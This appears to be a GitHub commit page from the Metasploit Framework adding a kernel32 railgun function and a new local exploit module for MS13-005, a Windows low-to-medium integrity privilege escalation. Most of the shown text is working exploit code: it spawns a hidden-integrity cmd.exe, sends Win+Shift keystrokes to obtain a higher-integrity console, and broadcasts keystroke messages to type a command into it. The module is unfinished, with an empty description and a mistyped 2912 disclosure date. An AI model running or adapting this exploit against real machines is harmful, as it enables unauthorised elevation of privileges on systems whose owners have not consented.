Skip to content

Commit 0235e68

Browse files
committed
Initial working
1 parent 0e350a1 commit 0235e68

File tree

2 files changed

+107
-0
lines changed

2 files changed

+107
-0
lines changed

lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@ class Def_kernel32
1111

1212
def self.create_dll(dll_path = 'kernel32')
1313
dll = DLL.new(dll_path, ApiConstants.manager)
14+
15+
dll.add_function( 'GetConsoleWindow', 'LPVOID',[])
1416

1517
dll.add_function( 'ActivateActCtx', 'BOOL',[
1618
["HANDLE","hActCtx","inout"],
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
##
2+
# ## This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/exploit/exe'
11+
12+
class Metasploit3 < Msf::Exploit::Local
13+
Rank = ExcellentRanking
14+
15+
include Msf::Exploit::EXE
16+
17+
def initialize(info={})
18+
super( update_info( info,
19+
'Name' => 'MS13-005 Low Integrity to Medium Integrity Privilege Escalation',
20+
'Description' => %q{
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
26+
'Tavis Ormandy', #Discovery
27+
'Axel Souchet' #@0vercl0k POC
28+
],
29+
'Platform' => [ 'win' ],
30+
'SessionTypes' => [ 'meterpreter' ],
31+
'Targets' =>
32+
[
33+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
34+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
35+
],
36+
'DefaultTarget' => 0,
37+
'DisclosureDate'=> "Nov 27 2912"
38+
# References CVE-2013-0008
39+
))
40+
end
41+
42+
def win_shift(number)
43+
vk = 0x30 + number
44+
bscan = 0x81 + number
45+
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
46+
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
47+
client.railgun.user32.keybd_event(vk, bscan, 0, 0)
48+
49+
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
50+
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
51+
client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
52+
end
53+
54+
def count_cmd_procs
55+
count = 0
56+
client.sys.process.each_process do |proc|
57+
if proc['name'] == 'cmd.exe'
58+
count += 1
59+
end
60+
end
61+
puts count
62+
63+
return count
64+
end
65+
66+
# Run Method for when run command is issued
67+
def exploit
68+
@payload_name = datastore['PAYLOAD']
69+
@payload_arch = framework.payloads.create(@payload_name).arch
70+
71+
# syinfo is only on meterpreter sessions
72+
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
73+
hwin = client.railgun.kernel32.GetConsoleWindow()['return']
74+
if hwin == nil
75+
hwin = client.railgun.user32.GetForegroundWindow()['return']
76+
end
77+
puts client.railgun.user32.ShowWindow(hwin, 0)
78+
puts client.railgun.user32.ShowWindowAsync(hwin, 5)
79+
# Spawn low integrity cmd.exe
80+
li_cmd_pid = client.sys.process.execute("cmd.exe", nil, {'Hidden' => false }).pid
81+
82+
count = count_cmd_procs
83+
# Win+Shift+?
84+
number = 0
85+
begin # Ruby DoWhile!
86+
i = (9 - number)
87+
win_shift(number)
88+
number += 1
89+
sleep(1)
90+
end while count_cmd_procs == count and number <= 9
91+
print_status "Spawned!!!"
92+
93+
client.sys.process.kill(li_cmd_pid)
94+
payload = "calc.exe"
95+
hwnd_broadcast = 0xffff
96+
wm_char = 0x0102
97+
payload.each_char do |c|
98+
client.railgun.user32.SendMessageA(hwnd_broadcast, wm_char, c.unpack('c').first, 0)
99+
end
100+
101+
client.railgun.user32.SendMessageA(hwnd_broadcast, wm_char, 'VK_RETURN', 0)
102+
103+
end
104+
end
105+

0 commit comments

Comments
 (0)